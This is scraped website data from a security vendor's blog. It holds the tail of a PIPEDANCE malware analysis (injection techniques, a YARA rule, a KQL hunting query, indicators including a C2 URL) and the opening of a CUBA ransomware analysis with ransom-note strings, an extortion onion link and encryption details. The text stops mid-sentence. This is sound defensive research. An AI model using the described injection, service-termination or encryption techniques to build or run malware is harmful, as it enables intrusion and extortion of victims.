\",(0,i.jsx)(e.strong,{children:\"typeperf.exe\"}),\" , \",(0,i.jsx)(e.strong,{children:\"w32tm.exe\"}),\" , \",(0,i.jsx)(e.strong,{children:\"bootcfg.exe\"}),\" , \",(0,i.jsx)(e.strong,{children:\"diskperf.exe\"}),\" , \",(0,i.jsx)(e.strong,{children:\"esentutl.exe\"}),\" ) is used.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/twice-around-the-dance-floor-with-pipedance/image1.jpg\",alt:\"Hardcoded binaries that PIPEDANCE can use as injection targets\",width:\"1070\",height:\"77\"})}),`\n`,(0,i.jsx)(e.p,{children:\"Below is an example of the Windows APIs used with the thread hijacking technique when PIPEDANCE is running under a 32-bit architecture.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/twice-around-the-dance-floor-with-pipedance/image11.jpg\",alt:\"PIPEDANCE performs thread hijacking\",width:\"757\",height:\"526\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"If the processor architecture is 64-bit, PIPEDANCE will use the Heaven\\u2019s Gate technique calling Native API functions ( \",(0,i.jsx)(e.strong,{children:\"NtGetContextThread\"}),\" , \",(0,i.jsx)(e.strong,{children:\"NtWriteVirtualMemory\"}),\" , \",(0,i.jsx)(e.strong,{children:\"RtlCreateUserThread\"}),\" ), switching the CPU to 64-bit, and executing shellcode.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/twice-around-the-dance-floor-with-pipedance/image21.jpg\",alt:\"PIPEDANCE using Heaven\\u2019s Gate for 64-bit architectures\",width:\"799\",height:\"181\"})}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/twice-around-the-dance-floor-with-pipedance/image8.jpg\",alt:\"PIPEDANCE calling NtWriteVirtualMemory for injection\",width:\"515\",height:\"95\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"PIPEDANCE also supports other methods of injection using \",(0,i.jsx)(e.strong,{children:\"CreateRemoteThread\"}),\" or through a Heaven\\u2019s Gate call to \",(0,i.jsx)(e.strong,{children:\"RtlCreateUserThread\"}),\". With this function, instead of choosing from the previously hardcoded list, the operator provides the PID for the injection target.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/twice-around-the-dance-floor-with-pipedance/image13.jpg\",alt:\"PIPEDANCE allowing operator-supplied injection targets\",width:\"1082\",height:\"122\"})}),`\n`,(0,i.jsx)(e.h2,{id:\"summary\",children:\"Summary\"}),`\n`,(0,i.jsx)(e.p,{children:\"PIPEDANCE is designed to conduct covert operations using named pipes and has various features to enable the post-compromise stage. In terms of capabilities, it reminds us of an offensive attack framework's SMB module, but with its own customization. While leveraging named pipes is not a novel technique, it's interesting to see how it's been implemented as a command and control internal proxy and represents an in-house development capability.\"}),`\n`,(0,i.jsx)(e.h2,{id:\"detection-logic\",children:\"Detection logic\"}),`\n`,(0,i.jsx)(e.h3,{id:\"prevention\",children:\"Prevention\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:\"Memory Threat Prevent Alert: Shellcode Injection\"}),`\n`]}),`\n`,(0,i.jsx)(e.h3,{id:\"detection\",children:\"Detection\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/privilege_escalation_suspicious_windows_service_execution.toml\",rel:\"nofollow\",children:\"Suspicious Windows Service Execution\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://www.elastic.co/guide/en/security/current/nullsessionpipe-registry-modification.html\",rel:\"nofollow\",children:\"NullSessionPipe Registry Modification\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://www.elastic.co/guide/en/security/master/potential-lateral-tool-transfer-via-smb-share.html\",rel:\"nofollow\",children:\"Potential Lateral Tool Transfer via SMB Share\"})}),`\n`]}),`\n`,(0,i.jsx)(e.h4,{id:\"hunting-queries\",children:\"Hunting queries\"}),`\n`,(0,i.jsx)(e.p,{children:\"The events for both KQL and EQL are provided with the Elastic Agent using the Elastic Defend integration. Hunting queries could return high signals or false positives. These queries are used to identify potentially suspicious behavior, but an investigation is required to validate the findings.\"}),`\n`,(0,i.jsx)(e.h5,{id:\"kql-queries\",children:\"KQL queries\"}),`\n`,(0,i.jsx)(e.p,{children:\"Using the Discover app in Kibana, the below query will identify network connections coming from the hardcoded injection targets within PIPEDANCE.\"}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`process.name:(\"makecab.exe\" or \"typeperf.exe\" or \"w32tm.exe\" or \"bootcfg.exe\" or \"diskperf.exe\" or \"esentutl.exe\") and event.dataset: endpoint.events.network\n`})}),`\n`,(0,i.jsx)(e.h4,{id:\"yara\",children:\"YARA\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"Elastic Security has created a \",(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_PipeDance.yar\",rel:\"nofollow\",children:\"YARA rule\"}),\" to identify this activity. Below is the YARA rule to identify PIPEDANCE.\"]}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`rule Windows_Trojan_PipeDance {\n meta:\n author = \"Elastic Security\"\n creation_date = \"2023-02-02\"\n last_modified = \"2023-02-02\"\n os = \"Windows\"\n arch = \"x86\"\n category_type = \"Trojan\"\n family = \"PipeDance\"\n threat_name = \"Windows.Trojan.PipeDance\"\n license = \"Elastic License v2\"\n strings:\n $str1 = \"%-5d %-30s %-4s %-7d %s\" wide fullword\n $str2 = \"PID Name Arch Session User\" wide fullword\n $str3 = \"%s %7.2f B\" wide fullword\n $str4 = \"\\\\\\\\\\\\\\\\.\\\\\\\\pipe\\\\\\\\%s.%d\" ascii fullword\n $seq_rc4 = { 8D 46 ?? 0F B6 F0 8A 14 3E 0F B6 C2 03 C1 0F B6 C8 89 4D ?? 8A 04 0F 88 04 3E 88 14 0F 0F B6 0C 3E 0F B6 C2 03 C8 0F B6 C1 8B 4D ?? 8A 04 38 30 04 0B 43 8B 4D ?? 3B 5D ?? 72 ?? }\n $seq_srv_resp = { 8B CE 50 6A 04 5A E8 ?? ?? ?? ?? B8 00 04 00 00 8D 4E ?? 50 53 8B D0 E8 ?? ?? ?? ?? B8 08 02 00 00 8D 8E ?? ?? ?? ?? 50 57 8B D0 E8 ?? ?? ?? ?? }\n $seq_cmd_dispatch = { 83 FE 29 0F 87 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 83 FE 06 0F 87 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8B C6 33 D2 2B C2 0F 84 ?? ?? ?? ?? 83 E8 01 }\n $seq_icmp = { 59 6A 61 5E 89 45 ?? 8B D0 89 5D ?? 2B F0 8D 04 16 8D 4B ?? 88 0A 83 F8 77 7E ?? 80 E9 17 88 0A 43 42 83 FB 20 }\n condition:\n 4 of ($str*) or 2 of ($seq*)\n}\n`})}),`\n`,(0,i.jsx)(e.h2,{id:\"observed-adversary-tactics-and-techniques\",children:\"Observed adversary tactics and techniques\"}),`\n`,(0,i.jsx)(e.p,{children:\"Elastic uses the MITRE ATT\u0026CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.\"}),`\n`,(0,i.jsx)(e.h3,{id:\"tactics\",children:\"Tactics\"}),`\n`,(0,i.jsx)(e.p,{children:\"Tactics represent the why of a technique or sub-technique. It is the adversary\\u2019s tactical goal: the reason for performing an action.\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0043/\",rel:\"nofollow\",children:\"Reconnaissance\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0002\",rel:\"nofollow\",children:\"Execution\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0005\",rel:\"nofollow\",children:\"Defense evasion\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0007\",rel:\"nofollow\",children:\"Discovery\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0008/\",rel:\"nofollow\",children:\"Lateral movement\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0009\",rel:\"nofollow\",children:\"Collection\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0011/\",rel:\"nofollow\",children:\"Command and control\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0010/\",rel:\"nofollow\",children:\"Exfiltration\"})}),`\n`]}),`\n`,(0,i.jsx)(e.h3,{id:\"techniques--sub-techniques\",children:\"Techniques / Sub techniques\"}),`\n`,(0,i.jsx)(e.p,{children:\"Techniques and Sub techniques represent how an adversary achieves a tactical goal by performing an action.\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1590/\",rel:\"nofollow\",children:\"Gather victim network information\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1083/\",rel:\"nofollow\",children:\"File and directory discovery\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1057/\",rel:\"nofollow\",children:\"Process discovery\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1055/003/\",rel:\"nofollow\",children:\"Process injection: thread execution hijacking\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1134/001/\",rel:\"nofollow\",children:\"Token impersonation/theft\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1570/\",rel:\"nofollow\",children:\"Lateral tool transfer\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1090/001/\",rel:\"nofollow\",children:\"Internal proxy\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1559/\",rel:\"nofollow\",children:\"Inter-Process communication\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1071/\",rel:\"nofollow\",children:\"Application layer protocol\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1027\",rel:\"nofollow\",children:\"Obfuscated files or information\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1543/003/\",rel:\"nofollow\",children:\"Create or modify system process: Windows service\"})}),`\n`]}),`\n`,(0,i.jsx)(e.h2,{id:\"observables\",children:\"Observables\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"All observables are also available for \",(0,i.jsx)(e.a,{href:\"https://assets.contentstack.io/v3/assets/bltefdd0b53724fa2ce/bltf10ee41eec4f6caf/63fcd87852820c02597c04f3/1326-indicators.zip\",rel:\"nofollow\",children:\"download\"}),\" in both ECS and STIX format in a combined zip bundle.\"]}),`\n`,(0,i.jsx)(e.p,{children:\"The following observables were discussed in this research.\"}),`\n`,(0,i.jsx)(e.div,{className:\"table-container\",children:(0,i.jsxs)(e.table,{children:[(0,i.jsx)(e.thead,{children:(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.th,{children:\"Indicator\"}),(0,i.jsx)(e.th,{children:\"Type\"}),(0,i.jsx)(e.th,{children:\"Reference\"})]})}),(0,i.jsxs)(e.tbody,{children:[(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"9d3f739e35182992f1e3ade48b8999fb3a5049f48c14db20e38ee63eddc5a1e7\"}),(0,i.jsx)(e.td,{children:\"SHA-256\"}),(0,i.jsx)(e.td,{children:\"PIPEDANCE server-side component\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"805a4250ec1f6b99f1d5955283c05cd491e1aa378444a782f7bd7aaf6e1e6ce7\"}),(0,i.jsx)(e.td,{children:\"SHA-256\"}),(0,i.jsx)(e.td,{children:\"Cobalt Strike beacon\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"exl.officeappsreviews[.]com/lanche-334e58sfj4eeu7h4dd3sss32d\"}),(0,i.jsx)(e.td,{children:\"URL\"}),(0,i.jsx)(e.td,{children:\"Cobalt Strike C2 server\"})]})]})]})})]})}function P(t={}){let{wrapper:e}=t.components||{};return e?(0,i.jsx)(e,Object.assign({},t,{children:(0,i.jsx)(d,t)})):d(t)}var E=P;return v(D);})();\n;return Component;"},"_id":"articles/twice-around-the-dance-floor-with-pipedance.mdx","_raw":{"sourceFilePath":"articles/twice-around-the-dance-floor-with-pipedance.mdx","sourceFileName":"twice-around-the-dance-floor-with-pipedance.mdx","sourceFileDir":"articles","contentType":"mdx","flattenedPath":"articles/twice-around-the-dance-floor-with-pipedance"},"type":"Article","imageUrl":"/assets/images/twice-around-the-dance-floor-with-pipedance/photo-edited-12@2x.jpg","readingTime":"24 min read","series":"","url":"/twice-around-the-dance-floor-with-pipedance","headings":[{"level":2,"title":"Key takeaways","href":"#key-takeaways"},{"level":2,"title":"Preamble","href":"#preamble"},{"level":2,"title":"Overview","href":"#overview"},{"level":2,"title":"Initial set-up / Communication flow","href":"#initial-set-up--communication-flow"},{"level":3,"title":"Command dispatching","href":"#command-dispatching"},{"level":2,"title":"Command functionality","href":"#command-functionality"},{"level":3,"title":"Command handling table","href":"#command-handling-table"},{"level":3,"title":"Backdoor functionality","href":"#backdoor-functionality"},{"level":4,"title":"Command execution","href":"#command-execution"},{"level":4,"title":"Discovery and enumeration","href":"#discovery-and-enumeration"},{"level":3,"title":"Network connectivity checks","href":"#network-connectivity-checks"},{"level":3,"title":"Process injection techniques","href":"#process-injection-techniques"},{"level":2,"title":"Summary","href":"#summary"},{"level":2,"title":"Detection logic","href":"#detection-logic"},{"level":3,"title":"Prevention","href":"#prevention"},{"level":3,"title":"Detection","href":"#detection"},{"level":4,"title":"Hunting queries","href":"#hunting-queries"},{"level":5,"title":"KQL queries","href":"#kql-queries"},{"level":4,"title":"YARA","href":"#yara"},{"level":2,"title":"Observed adversary tactics and techniques","href":"#observed-adversary-tactics-and-techniques"},{"level":3,"title":"Tactics","href":"#tactics"},{"level":3,"title":"Techniques / Sub techniques","href":"#techniques--sub-techniques"},{"level":2,"title":"Observables","href":"#observables"}],"author":[{"title":"Daniel Stepanic","slug":"daniel-stepanic","description":"Elastic Security Labs Team Principal Security Researcher, Malware","body":{"raw":"","code":"var Component=(()=\u003e{var m=Object.create;var i=Object.defineProperty;var p=Object.getOwnPropertyDescriptor;var x=Object.getOwnPropertyNames;var d=Object.getPrototypeOf,f=Object.prototype.hasOwnProperty;var _=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),g=(t,e)=\u003e{for(var n in e)i(t,n,{get:e[n],enumerable:!0})},s=(t,e,n,c)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let a of x(e))!f.call(t,a)\u0026\u0026a!==n\u0026\u0026i(t,a,{get:()=\u003ee[a],enumerable:!(c=p(e,a))||c.enumerable});return t};var j=(t,e,n)=\u003e(n=t!=null?m(d(t)):{},s(e||!t||!t.__esModule?i(n,\"default\",{value:t,enumerable:!0}):n,t)),M=t=\u003es(i({},\"__esModule\",{value:!0}),t);var u=_((w,o)=\u003e{o.exports=_jsx_runtime});var b={};g(b,{default:()=\u003eS,frontmatter:()=\u003ey});var r=j(u()),y={title:\"Daniel Stepanic\",description:\"Elastic Security Labs Team Principal Security Researcher, Malware\",slug:\"daniel-stepanic\"};function l(t){return(0,r.jsx)(r.Fragment,{})}function D(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(l,t)})):l(t)}var S=D;return M(b);})();\n;return Component;"},"_id":"authors/daniel-stepanic.mdx","_raw":{"sourceFilePath":"authors/daniel-stepanic.mdx","sourceFileName":"daniel-stepanic.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/daniel-stepanic"},"type":"Author","imageUrl":"","url":"/authors/daniel-stepanic"}],"category":[{"title":"Malware analysis","slug":"malware-analysis","body":{"raw":"","code":"var Component=(()=\u003e{var u=Object.create;var s=Object.defineProperty;var x=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var _=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var j=(t,n)=\u003e()=\u003e(n||t((n={exports:{}}).exports,n),n.exports),M=(t,n)=\u003e{for(var e in n)s(t,e,{get:n[e],enumerable:!0})},i=(t,n,e,o)=\u003e{if(n\u0026\u0026typeof n==\"object\"||typeof n==\"function\")for(let r of f(n))!g.call(t,r)\u0026\u0026r!==e\u0026\u0026s(t,r,{get:()=\u003en[r],enumerable:!(o=x(n,r))||o.enumerable});return t};var d=(t,n,e)=\u003e(e=t!=null?u(_(t)):{},i(n||!t||!t.__esModule?s(e,\"default\",{value:t,enumerable:!0}):e,t)),p=t=\u003ei(s({},\"__esModule\",{value:!0}),t);var l=j((X,c)=\u003e{c.exports=_jsx_runtime});var D={};M(D,{default:()=\u003eC,frontmatter:()=\u003ew});var a=d(l()),w={title:\"Malware analysis\",slug:\"malware-analysis\"};function m(t){return(0,a.jsx)(a.Fragment,{})}function y(t={}){let{wrapper:n}=t.components||{};return n?(0,a.jsx)(n,Object.assign({},t,{children:(0,a.jsx)(m,t)})):m(t)}var C=y;return p(D);})();\n;return Component;"},"_id":"categories/malware-analysis.mdx","_raw":{"sourceFilePath":"categories/malware-analysis.mdx","sourceFileName":"malware-analysis.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/malware-analysis"},"type":"Category","url":"/categories/malware-analysis"}]},{"title":"CUBA Ransomware Malware Analysis","slug":"cuba-ransomware-malware-analysis","date":"2023-02-14","description":"Elastic Security has performed a deep technical analysis of the CUBA ransomware family. This includes malware capabilities as well as defensive countermeasures.","image":"blog-thumb-coin-stacks.jpg","tags":["ref9019","cuba","ransomware"],"body":{"raw":"\n## Summary\n\nAs a part of Elastic Security’s ongoing threat detection and monitoring efforts, we have recently observed a ransomware intrusion by the CUBA ransomware threat group, internally tracked as REF9019. This report will detail the inner workings of the ransomware deployed inside the network to encrypt the victim’s files. Cuba ransomware provides the attacker with the flexibility to encrypt both local and network shares files in the enterprise. CUBA uses the ChaCha20 cipher algorithm for symmetric encryption and RSA encryption to protect the ChaCha20 keys. CUBA is multithreaded for faster encryption with resource access synchronization to avoid file corruption.\n\nIn this analysis we will describe the following:\n\n- Operations mode\n- Process and services termination\n- Enumeration of volumes\n- Threading implementation\n- File encryption and algorithms used\n- MITRE Attack mapping\n- YARA rule\n- Indicators of compromise\n\n### Static Analysis\n\n| | |\n| --------------- | ---------------------------------------------------------------- | --- |\n| SHA256 Packed | 0f385cc69a93abeaf84994e7887cb173e889d309a515b55b2205805bdfe468a3 |\n| SHA256 Unpacked | 3654af86dc682e95c811e4fd87ea405b627bca81c656f3a520a4b24bf2de879f |\n| File Size | 135168 bytes |\n| FileType: | Executable |\n| Imphash: | CA5F4AF10ABC885182F3FB9ED425DE65 |\n| Compile Time | Wed Mar 09 22:00:31 2022 | UTC |\n| Entropy | 6.582 |\n\n### Sections\n\n| | | | | | |\n| ------ | -------------- | ------------ | -------- | ------- | -------------------------------- |\n| Name | VirtualAddress | Virtual Size | Raw Size | Entropy | MD5 |\n| .text | 0x00401000 | 0x13B5F | 0x13C00 | 6.608 | 931B22064E9E214BF59A4E07A6CA9109 |\n| .rdata | 0x00415000 | 0xA71C | 0xA800 | 5.855 | F6F97411BCD64126A96B08BA9AE1E775 |\n| .data | 0x00420000 | 0x16B0 | 0xC00 | 3.450 | 03B1B11B4531BB656E43A8B457D4A5F7 |\n| .rsrc | 0x00422000 | 0x1E0 | 0x200 | 4.704 | F754ADBD7F5D6195FD6D527001CAB98C |\n| .reloc | 0x00423000 | 0x1200 | 0x1200 | 6.573 | 08B0994DAECAAAA4173B388A80CC52FE |\n\n\u003e For information on the CUBA ransomware campaign and associated malware analysis, check out our blog posts detailing this:\n\u003e\n\u003e - [CUBA Campaign Analysis](https://www.elastic.co/security-labs/cuba-ransomware-malware-analysis)\n\u003e - [BUGHATCH Malware Analysis](https://www.elastic.co/security-labs/bughatch-malware-analysis)\n\n### Imports\n\n```\nGetProcessImageFileNameW\nEnumProcesses\nNetApiBufferFree\nNetShareEnum\nGetIpNetTable\nPathFindFileNameW\nFindFirstFileExW\nFindFirstFileW\nFindNextFileW\nWriteFile\nSetFileAttributesW\nMoveFileExW\nFindFirstVolumeW\nTerminateProcess\nGetEnvironmentStringsW\nOpenProcess\nGetCurrentProcessId\nCreateProcessW\nGetVolumePathNamesForVolumeNameW\nFindNextVolumeW\nGetCurrentThreadId\nRaiseException\nGetModuleHandleExW\nOpenProcessToken\nCryptAcquireContextA\nCryptGenRandom\nCryptReleaseContext\nAdjustTokenPrivileges\nLookupPrivilegeValueA\nControlService\nChangeServiceConfigW\nPathAddBackslashW\nGetCPInfo\nGetOEMCP\nIsValidCodePage\nlstrcpynW\nInterlockedDecrement\nFindClose\nCreateFileW\nSleep\nlstrcatW\nCloseHandle\nCreateThread\nlstrcpyW\nlstrcmpW\nReadFile\nGetFileSizeEx\nEnterCriticalSection\nGetCurrentProcess\nGetModuleFileNameW\nLeaveCriticalSection\nGetCommandLineA\nWaitForSingleObject\nGetLastError\nSetEvent\nGetDiskFreeSpaceExW\nResetEvent\nGetWindowsDirectoryW\nSetFilePointerEx\nExitProcess\nCreateEventA\nlstrcmpiW\nGetTickCount\nDeleteCriticalSection\nQueryPerformanceCounter\nSetStdHandle\nFreeEnvironmentStringsW\nGetCommandLineW\nDecodePointer\nGetStringTypeW\nGetProcessHeap\nFlushFileBuffers\nGetConsoleCP\nHeapSize\nWriteConsoleW\nInitializeCriticalSection\nUnhandledExceptionFilter\nSetUnhandledExceptionFilter\nIsProcessorFeaturePresent\nInitializeCriticalSectionAndSpinCount\nWaitForSingleObjectEx\nCreateEventW\nGetModuleHandleW\nGetProcAddress\nIsDebuggerPresent\nGetStartupInfoW\nGetSystemTimeAsFileTime\nInitializeSListHead\nRtlUnwind\nSetLastError\nEncodePointer\nTlsAlloc\nTlsGetValue\nTlsSetValue\nTlsFree\nFreeLibrary\nLoadLibraryExW\nGetFileType\nGetStdHandle\nMultiByteToWideChar\nWideCharToMultiByte\nGetACP\nHeapFree\nHeapAlloc\nLCMapStringW\nHeapReAlloc\nGetConsoleMode\nCharLowerW\nGetKeyboardLayoutList\nwsprintfW\nCloseServiceHandle\nOpenSCManagerW\nOpenServiceW\nQueryServiceStatusEx\n```\n\n### Strings\n\n```\nGood day. All your files are encrypted. For decryption contact us.\nWrite here waterstatus@cock.li\nreserve admin@encryption-support.com\njabber cuba_support@exploit.im\nWe also inform that your databases, ftp server and file server were downloaded by us to our servers.\nIf we do not receive a message from you within three days, we regard this as a refusal to negotiate.\nCheck our platform: http://cuba4ikm4jakjgmkezytyawtdgr2xymvy6nvzgw5cglswg3si76icnqd.onion/\n* Do not rename encrypted files.\n* Do not try to decrypt your data using third party software,\n it may cause permanent data loss.\n* Do not stop process of encryption, because partial encryption cannot be decrypted.\n!! READ ME !!.txt\n```\n\n## Code Analysis\n\n### Entry Point\n\nThe malware starts by retrieving the active input locale identifier of the victim using the GetKeyboardLayout API. When the Russian language is in the list of supported languages of the machine, the process deletes and terminates itself with a simple command line: c:\\system32\\cmd.exe c/ del PATH_TO_BINARY without encrypting the file system.\n\n![](/assets/images/cuba-ransomware-malware-analysis/image5-cuba-ransomware-elastic.jpg)\n\n### Command-line Options\n\nThe threat actor included 4 different operations based on the following command-line arguments:\n\n- The network keyword\n- An IP keyword\n- A path keyword\n- The local keyword\n ![](/assets/images/cuba-ransomware-malware-analysis/image12-cuba-ransomware-elastic.jpg)\n\n**Network keyword parameter**\n\nWhen specifying the network keyword, the malware retrieves the Address Resolution Protocol (ARP) table of the machine using the GetIpNetTable Windows API and enumerates the shares of each IP in the ARP table, this information is added to a linked list that will be accessed by the encryption capability, which will be discussed further below in detail.\n\n![](/assets/images/cuba-ransomware-malware-analysis/image13-cuba-ransomware-elastic.jpg)\n\n**IP keyword parameter**\n\nBy specifying an IP address as the first parameter in the command line the malware proceeds by enumerating and encrypting every share found for the specified IP.\n\n**Path keyword parameter**\n\nThe malware will encrypt the local directory contents, or the file provided, as the first parameter of the command-line.\n\n**Local keyword parameter**\n\nThe local keyword is used to encrypt every local volume on the machine, and because the malware targets volumes by their ID, it can encrypt both mounted and unmounted volumes.\n\n### Process Termination\n\nCUBA starts by acquiring SeDebugPrivilege and then terminates a hardcoded list of processes and services using a common Windows API (see appendix for list [[1](https://www.elastic.co/security-labs/cuba-ransomware-malware-analysis#list-of-terminated-processes)], [[2](https://www.elastic.co/security-labs/cuba-ransomware-malware-analysis#list-of-terminated-services)]). For some services, the malware first tries to disable the service– indicated by the second parameter of TerminateProcesses::TerminateServiceByName function. This is mainly done to prevent interference with the encryption process by applications that may lock files from external changes, for example, databases.\n\n![](/assets/images/cuba-ransomware-malware-analysis/image8-cuba-ransomware-elastic.jpg)\n\n### Local Volume Enumeration\n\nThe malware enumerates all the local volumes and for each volume larger than 1GB it saves the volume’s GUID in a custom linked list. The ransomware utilizes the CriticalSection object to access this linked list for synchronization purposes due to multiple threads accessing the same resource. This helps to avoid two threads encrypting the same file at the same time, a race condition that would corrupt the file.\n\n![](/assets/images/cuba-ransomware-malware-analysis/image6-cuba-ransomware-elastic.jpg)\n\n![](/assets/images/cuba-ransomware-malware-analysis/image2-cuba-ransomware-elastic.jpg)\n\n### Multithreaded Encryption Synchronization\n\nAfter preparing a list to encrypt, CUBA ransomware spawns encryption threads with the structure defined below as a parameter. Depending on the command line arguments, the malware starts 4 threads for local encryption or 8 threads for network encryption.\n\n![](/assets/images/cuba-ransomware-malware-analysis/image10-cuba-ransomware-elastic.jpg)\n\nWhen a thread finishes its task, it will decrement a counter until it reaches 0: lpParameter-\\\\\u003eNumberOfThreadRunning. When the last thread completes, it will alert the program that the task is done with a call to SetEvent API, which will self delete and terminate the malware.\n\n![](/assets/images/cuba-ransomware-malware-analysis/image11-cuba-ransomware-elastic.jpg)\n\n### Encryption Implementation\n\nThe malware leverages the symmetric encryption algorithm ChaCha20 to encrypt files and the asymmetric encryption algorithm RSA to protect the ChaCha20 Key and Initialization Vector (IV). The author has utilized a customized version of [WolfSSL](https://github.com/wolfSSL/wolfssl), an open source SSL/TLS library, to implement this capability. Other samples (2957226fc315f71dc22f862065fe376efab9c21d61bbc374dde34d47cde85658) implemented a similar function using the [libtomcrypt](https://github.com/libtom/libtomcrypt) library. Other implementations may exist that are not described here.\n\nThe ransomware allocates a large custom structure called block that contains all the required encryption information. It then initializes an RsaKey structure with [wc_InitRsaKey](https://www.wolfssl.com/doxygen/group__RSA.html#ga02c9b34d405c5f1c24956ee84a843ef6) and decodes an embedded 4096 bit RSA public key in [DER](https://wiki.openssl.org/index.php/DER) format using [wc_RsaPublicKeyDecode](https://www.wolfssl.com/doxygen/group__RSA.html#ga2610326206b322f33f59e31a845e24b9) which it saves to block.PubRsaKey.\n\n![](/assets/images/cuba-ransomware-malware-analysis/image7-cuba-ransomware-elastic.jpg)\n\n### File Enumeration\n\nEach thread takes an entry from the linked list and starts recursively enumerating files starting from the root of the volume. In the case of a specific directory, the same function is called recursively except for specific directories (see [appendix](https://www.elastic.co/security-labs/cuba-ransomware-malware-analysis#excluded-directories) for list). Otherwise, it will ignore the ransom note file !! READ ME !!.txt and files with specific extensions (see [appendix](https://www.elastic.co/security-labs/cuba-ransomware-malware-analysis#excluded-file-extensions) for list).\n\n![](/assets/images/cuba-ransomware-malware-analysis/image15-cuba-ransomware-elastic.jpg)\n\nThe malware uses [wc_RNG_GenerateBlock](https://www.wolfssl.com/doxygen/group__Random.html#ga9a289fb3f58f4a5f7e15c2b5a1b0d7c6) a WolfSSL function, to randomly generate 44 bytes. The first 32 bytes of that are used as the ChaCha20 key and the other 12 bytes are used as the IV, it then calls a function to initiate the ChaCha20 structure block.chacha20_KeyIv that will be later used to encrypt the file content. At this point, the ransomware is ready to start encrypting and writing to the file.\n\n![](/assets/images/cuba-ransomware-malware-analysis/image14-cuba-ransomware-elastic.jpg)\n\nBefore encrypting a file, Cuba ransomware prepends a 1024 byte header, the first 256 bytes are the string FIDEL.CA and some DWORD bytes values, the next 512 bytes are the encrypted ChaCha20 KEY/IV with the public RSA key and the rest is padded with 0.\n\n![](/assets/images/cuba-ransomware-malware-analysis/image3-cuba-ransomware-elastic.jpg)\n\nBefore starting the encryption, the malware double checks if the file was already encrypted by comparing the first 8 bytes of the file to the header string FIDEL.CA. If equal, the malware terminates the encryption process as described 